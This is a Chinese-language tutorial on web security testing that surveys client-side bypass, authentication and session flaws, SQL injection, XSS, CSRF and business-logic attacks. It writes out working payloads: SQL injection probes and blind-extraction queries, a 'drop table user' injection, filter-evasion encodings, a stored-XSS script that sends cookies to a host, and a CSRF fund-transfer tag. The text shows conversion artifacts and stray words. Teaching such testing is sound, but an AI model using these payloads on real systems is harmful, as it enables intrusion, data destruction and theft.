1、Web安全測試定義
Web安全就是要讓軟件面對敵意和惡意輸入時，仍然可以充分知足需求。
Web安全性測試是有關驗證Web應用的安全服務和識別潛在安全性缺陷的過程。
WEB應用程序的基本安全原則：（全部用戶輸入均不可信！）
2、Web安全測試流程
一般狀況下，Web安全測試開展於功能測試後，性能測試前。
3、繞過客戶端漏洞
客戶端控件通常可攻擊的包括如下幾個方面：
• HTML驗證
HTML
驗證不該該被認爲是一種安全的方法驗證參數，這種驗證方式只能幫那些不知道所需輸入的用戶縮短服務器處理時間，攻擊者能夠用各類方法輕易的繞過這種機制。任何客戶端驗證都應該複製到服務器端，這將大大減小不安全的參數在應用程序中使用的可能性。
• 隱藏表單字段
隱藏的HTML
表單是一種看上去沒法修改，經過客戶端傳送數據的經常使用機制。若是一個表單字段標記爲hidden
或者readonly
那麼它就沒法編輯，若是是徹底隱藏則不會在屏幕上顯示，可是提交時保存在表單中的字段名稱和值仍然被送交給應用程序。
• Http cookie
與隱藏表單相似，http cookie
並不顯示在用戶屏幕上，也不可直接修改。而有些網站對於不一樣的會員等級會有不一樣的折扣，判斷是否享用折扣就用cookie
來傳達。若有些電商最先對金牌會員的折扣就是用 cookie
傳達，相似在用戶登陸後返回一個響應：
HTTP/1.1 200 OKSet-Cookie:DiscountAgreed=80
這樣咱們經過攔截髮現了該cookie
值並可在購買時對其進行修改從而拿到了更低廉的折扣。
• URL參數
應用程序有可能會使用預先設定好的URL
參數經過客戶端傳遞數據，
固然這個url
不必定直接顯示在瀏覽器地址欄中，也可能經過包含參數的url
加載框架內容或用彈窗等其餘方法隱藏地址欄，這時仍能夠用攔截代理服務器去捕獲任何一個不規範的url
參數，方法與以上相似，直接修改價格而後提交請求。
• 模糊數據
有時候經過客戶端傳送的數據是通過加密或某種形式的模糊處理，並不以明文顯示。
4、攻擊驗證機制
驗證機制常見的漏洞有如下幾種。
一、密碼保密性不強（弱口令）
很是短或空白密碼
以經常使用字典詞彙爲密碼（password、123456）
密碼與用戶名徹底相同
長時間使用默認密碼html
二、暴力攻擊登陸
登陸功能的公開性會誘使攻擊者試圖猜想用戶名和密碼，從而得到訪問應用程序的權力。若是應用程序容許攻擊者用不一樣的密碼暴力嘗試，直到他找到正確的密碼，這個程序就很是容易遭受攻擊。
三、雙因子認證
雙因子認證的核心是綜合what you know（我的密碼）和what you have（手機）來達到雙重認證效果。目前不少電商、銀行都採用了該認證方式。
該方式最大的缺點就是構建雙因子認證須要成本較大，服務器壓力也較大，成本較高。sql
四、詳細的失敗信息
經典的登陸表單會要求用戶輸入兩組信息：用戶名和密碼。若是登陸嘗試失敗，咱們能夠得出結論，至少有一組信息出錯。
若是應用程序明確告訴攻擊者哪組數據無效，就能夠利用此消息來暴力攻擊用戶名或密碼。
五、修改密碼功能
密碼修改功能是否擁有隱藏的後臺接口：如不經過登陸直接經過url訪問；或在應用程序中不存在功能連接但實際能夠發現等；
是否可使用不符合標準的密碼
用戶名是否隨修改密碼同時提交，由此修改用戶
六、忘記密碼功能
•質詢
經過回答相關密保問題來重設密碼，若是質詢問題比較簡單，能夠經過暴力攻擊來攻破答案。瀏覽器
若是隻知道其中一個問題答案，經過修改質詢問題來輸入本身知道的答案。
•郵件
重置別人的密碼，修改接收者郵箱爲本身的郵箱，訪問便可重設密碼
•手機
截獲驗證碼發送請求，修改成本身的手機號，從而給你的手機發送一個驗證碼，頁面上輸入驗證碼能夠跳轉重設安全
七、用戶假裝功能
假裝功能經過隱藏功能形式執行，即在應用程序任何地方都沒法跳轉到該功能，也不受常規訪問控制。也就是說，在應用下有一個特殊的url能夠連接到一個不須要覈對用戶身份的頁面執行各類操做。
八、多階段登陸
應用程序可能會認爲訪問第三階段的用戶已經完成第1、二階段的驗證。所以攻擊者可能被容許直接由第一階段進入第三階段並經過驗證。
應用程序可能會認爲每一個階段的用戶身份不會發生變化，所以，並無在每一個階段都明確確認用戶身份。若是攻擊者在兩個階段都提供有效數據，可是是屬於兩個不一樣的用戶，那麼應用程序可能容許用戶經過驗證。
應用程序可能會提出一個隨機選擇的問題，可是問題的細節並無保存在服務器上，而是保存在隱藏的HTML表單字段中。這時候攻擊者就能夠經過修改隱藏字段選擇已經截獲或已經遍歷到答案的問題，進行驗證登錄。
5、攻擊會話管理
一、令牌生成
一些會話令牌經過用戶的用戶名或電子郵件地址轉換而來，或者使用與其相關的其餘信息建立。這些信息能夠某種方式進行編碼或模糊處理，也可與其餘數據結合在一塊兒。
如獲得以下一串sessionid：557365723d61646d696e3b6170703d6461663b646174653d31302f30392f3131
分析發現這串字符只擁有十六進制字符，能夠猜測爲ASCII字符串，反解獲得該串字符含義：
User=admin;app=daf;date=10/09/11
由此攻擊者能夠枚舉大量用戶名來生成可能有效令牌，實施攻擊。服務器
二、會話令牌加密
（1）消息和加密：
（2）鑑別、完整性和抗抵賴
除了提供機密性外，密碼學一般還有其它的做用。
鑑別。消息的接收者應該可以確認消息的來源，入侵者不可能假裝成他人。
完整性。消息的接收者應該可以驗證在傳送過程當中消息沒有被修改，入侵者不可能用假消息代替合法消息。
抗抵賴。發送者過後不可能虛假地否定他發送的消息。
6、SQL注入
一、驗證存在SQL注入三步法
http://www.xiaoxitest.com/test.jsp?id=1'
頁面返回異常
http://www.xiaoxitest.com/test.jsp?id=1 and 1=1
頁面返回正常，和id=1數據一致
http://www.xiaoxitest.com/test.jsp?id=1 and 1=2
頁面出現異常或加載爲空
若上面三步所有知足，則必定存在Sql注入漏洞。
二、猜解表名
http://www.xiaoxitest.com/test.jsp?id=1 and (select count(*) from user)>=0
http://www.xiaoxitest.com/test.jsp?id=1 and exists (select * from user)
若是頁面與id=1徹底相同，說明附加條件成立，即表名稱user存在，反之不存在。可採用暴力攻擊等手段繼續嘗試，直到猜到表名。
三、猜解字段名
http://www.xiaoxitest.com/test.jsp?id=1 and (select count(username) from user)>=0
http://www.xiaoxitest.com/test.jsp?id=1 and exists (select username from user)
原理和猜解表名同樣，只是把count(*)換成count(字段名)。能夠先嚐試從輸入表單字段名稱查找，通常狀況下，爲了方便起見，字段名會和表單名稱取相同的名字。
四、猜解字段值長度（已經獲得表名稱和字段名前提下）
http://www.xiaoxitest.com/test.jsp?id=1 and (select length(username) from user limit 1)>5;
判斷該第一條字段值長度是否大於5,若是大於5，則繼續判斷是否大於十、1五、20等。最終找到該字段的長度。
五、猜解字段值（已經獲得表名稱和字段名前提下）
http://www.xiaoxitest.com/test.jsp?id=1 and (select ascii(substr(username,1,1)) from user id=1)>60;
判斷id=1的username字段值的第一個字符ASCII編碼是多少，從而找出在ASCII編碼中對應的字符。可用折半法加速破解，ASCII碼在0到127之間。找到第一個後接着找第二、三、4個，直到所有找出。
六、經典注入
如登陸模塊sql爲：select id from user where username='+username+' and password='+password+';
若是咱們用戶名輸入'or '1'='1和密碼'or '1'='1
最終Sql被篡改成：select id from user where username='
'or '1'='1' and password='
'or '1'='1'
對於程序來講，該條件是成立的，只要該表裏用數據，就會返回結果，通常應用程序會返回第一條查詢結果做爲登陸的用戶，而不少網站第一個用戶爲管理員。
若是咱們用戶名輸入admin' --
最終Sql被篡改成：select id from user where username='admin' --
用戶名後面語句都不會執行，從而登陸成功
甚至能夠用來破壞數據：'or 1=1;drop table user --
結果user表被刪除。
七、避開過濾
有時開發會過濾關鍵字防止攻擊者，如：select and drop 單引號等
能夠嘗試使用ASCII碼動態構建：如使用char(39)代替單引號
URL hex編碼：select 使用%73%65%6C%65%63%74來代替
變換大小寫：如Select And oR 等。
八、ASCII碼錶
7、XSS/CSRF攻擊cookie
一、反射式XSS
也稱爲非永久性XSS，它出如今服務器直接使用客戶端提交的數據，如Url數據、html表單中提交數據等，並無對數據進行無害化處理。
如：http://www.xiaoxitest.com/test.jsp?input=<script>alert(document.cookie);</script>
當受害者點擊這個連接的時候，注入的腳本被看成搜索的關鍵詞發送到目標服務器的test.jsp頁面中，則在搜索結果的返回頁面中，這段腳本將被看成搜索的關鍵詞而嵌入。這樣，當用戶獲得搜索結果頁面後，這段腳本也獲得了執行。
二、存儲式XSS
也稱爲永久性XSS，危害更大。攻擊將攻擊腳本上傳到Web服務器上，使得全部訪問該頁面的用戶都面臨信息泄漏的可能，其中也包括了Web服務器的管理員。
如：<script>location.replace("http://www.xiaoxitest.com/test.jsp?secret=" + document.cookie)</script>
當受害者的瀏覽器執行這段腳本的時候，就會自動訪問攻擊者創建的網站www.xiaoxitest.com，打開其中的test.jsp，將受害者瀏覽器的Cookie信息給記錄下來。這樣，攻擊者就獲得了用戶的Cookie信息。
上面攻擊的本質都是觸發一個HTTP GET 請求把 Cookie 信息做爲URL的一部分參數傳給攻擊者的服務器而後攻擊者經過查看日誌便可獲取到 Cookie 信息。
三、CSRF攻擊session
跨站請求僞造，它的破壞力依賴於受害者的權限。若是受害者只是個普通的用戶，則一個成功的CSRF 攻擊會危害用戶的數據以及一些功能；若是受害者具備管理員權限，則一個成功的CSRF 攻擊甚至會威脅到整個網站的安全。app
如：A和B用戶都登陸了xiaoxitest.com的網站，B用戶知道這個網站轉帳有CSRF漏洞。因而B用戶在xiaoxitest.com發佈了一條信息，這條信息包含如下代碼：<img src='http://xiaoxitest.com/test.jsp?to=B&TransferFunds=5000' width=1 height=1 />。A用戶正好讀到這條消息，因而A的帳戶不知覺向B帳戶轉帳5000元。框架
8、應用程序邏輯攻擊jsp
一、欺騙密碼修改功能
應用程序爲用戶提供密碼修改功能：要求填寫用戶名、現有密碼、新密碼和確認密碼等字段。
應用程序還爲管理員提供密碼修改功能：容許修改任何用戶的密碼，而不用提交現有密碼。
假設代碼經過判斷是否包含提交現有密碼參數來肯定是否爲管理員修改密碼，普通用戶經過提交不包含現有密碼參數的請求，來假裝成功管理員，從而修改密碼。
二、繞過支付
假設一個電商網站的購物流程爲：一、添加購物車二、肯定訂單並輸入支付信息三、填寫收貨地址四、商家發貨
開發者認爲用戶總會按照預約的順序執行每個步驟，所以，開發者認爲任何完成填寫收貨地址的用戶必定已經提交了使人滿意的支付信息。
開發者的設計缺陷，用戶控制着向程序提出的每個請求，能夠按任何順序訪問訂購過程的每個階段。若是從第1步直接跳到第3步，攻擊者就能夠生成一個已填寫收貨地址但實際上並未支付的訂單。
三、越權操做
攻擊者經過修改數據包中用戶ID，來訪問他人敏感信息或冒充他人發佈或刪除信息。
四、避開交易限制
如一個積分兌換商城，攻擊者經過修改商品數量或修改商品總價爲0或負數，從而實現購買或增長積分。
五、審覈缺陷
一個發佈網站，爲了防止垃圾信息，須要經過人工審覈才能顯示，而且程序還容許用戶對已經過的信息進行編輯。
此處存在一個邏輯漏洞：審覈經過的信息，若是被用戶從新編輯了，不會再次進行審覈，致使可利用這個漏洞發佈垃圾信息。